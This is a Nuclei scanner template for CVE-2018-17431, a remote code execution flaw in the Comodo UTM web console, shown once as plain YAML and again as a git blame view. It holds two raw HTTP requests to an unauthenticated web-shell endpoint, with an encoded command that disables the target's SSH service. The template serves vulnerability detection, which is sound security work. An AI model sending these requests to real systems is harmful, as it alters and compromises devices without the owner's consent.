nuclei-templates/http/cves/2018/CVE-2018-17431.yaml

id: CVE-2018-17431

info:
  name: Comodo Unified Threat Management Web Console - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.
  remediation: |
    Apply the latest security patches or updates provided by Comodo to fix this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48825
    - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
    - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
    - https://drive.google.com/file/d/0BzFJhNQNHcoTbndsUmNjVWNGYWNJaWxYcWNyS2ZDajluTDFz/view
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17431
    cwe-id: CWE-287
    epss-score: 0.10458
    epss-percentile: 0.94391
    cpe: cpe:2.3:a:comodo:unified_threat_management_firewall:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: comodo
    product: unified_threat_management_firewall
  tags: cve2018,comodo,rce,edb,cve

http:
  - raw:
      - |
        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close
      - | # to triggering RCE
        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Configuration has been altered"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aee4cf0181cac41d55a9f46d1a169d57780d3e0162fc12577abea40a08e9e8de022100b24d280ca9e0c979194a7f93ce10ebeafe9f109aa014d5144874610006b9aee5:922c64590222798bb761d5b6d8e72950
misc changes 2021-01-02 05:00:39 +00:00			`id: CVE-2018-17431`
:fire: Add CVE-2018-17431 2020-09-22 14:41:13 +00:00
			`info:`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`name: Comodo Unified Threat Management Web Console - Remote Code Execution`
:fire: Add CVE-2018-17431 2020-09-22 14:41:13 +00:00			`author: dwisiswant0`
			`severity: critical`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`remediation: \|`
			`Apply the latest security patches or updates provided by Comodo to fix this vulnerability.`
Added comments with URLs under the "references" field Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-19 13:15:35 +00:00			`reference:`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`- https://www.exploit-db.com/exploits/48825`
			`- https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2018-17431`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437`
more updates 2023-07-15 16:29:17 +00:00			`- https://drive.google.com/file/d/0BzFJhNQNHcoTbndsUmNjVWNGYWNJaWxYcWNyS2ZDajluTDFz/view`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
Auto Generated CVE annotations [Sat Jan 21 16:19:45 UTC 2023] :robot: 2023-01-21 16:19:45 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2018-17431`
			`cwe-id: CWE-287`
more updates 2023-07-15 16:29:17 +00:00			`epss-score: 0.10458`
TemplateMan Update [Sun Nov 5 22:23:39 UTC 2023] :robot: 2023-11-05 22:23:39 +00:00			`epss-percentile: 0.94391`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`cpe: cpe:2.3:a:comodo:unified_threat_management_firewall::::::::`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 2`
more updates 2023-07-15 16:29:17 +00:00			`vendor: comodo`
			`product: unified_threat_management_firewall`
			`tags: cve2018,comodo,rce,edb,cve`
:fire: Add CVE-2018-17431 2020-09-22 14:41:13 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
:fire: Add CVE-2018-17431 2020-09-22 14:41:13 +00:00			`- raw:`
			`- \|`
			`GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1`
			`Host: {{Hostname}}`
			`Connection: close`
			`- \| # to triggering RCE`
			`GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1`
			`Host: {{Hostname}}`
			`Connection: close`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
more updates 2023-07-15 16:29:17 +00:00			`part: body`
:fire: Add CVE-2018-17431 2020-09-22 14:41:13 +00:00			`words:`
			`- "Configuration has been altered"`
more updates 2023-07-15 16:29:17 +00:00
:fire: Add CVE-2018-17431 2020-09-22 14:41:13 +00:00			`- type: status`
			`status:`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`- 200`
Auto Template Signing [Mon Nov 6 06:48:30 UTC 2023] :robot: 2023-11-06 06:48:30 +00:00			`# digest: 4b0a00483046022100aee4cf0181cac41d55a9f46d1a169d57780d3e0162fc12577abea40a08e9e8de022100b24d280ca9e0c979194a7f93ce10ebeafe9f109aa014d5144874610006b9aee5:922c64590222798bb761d5b6d8e72950`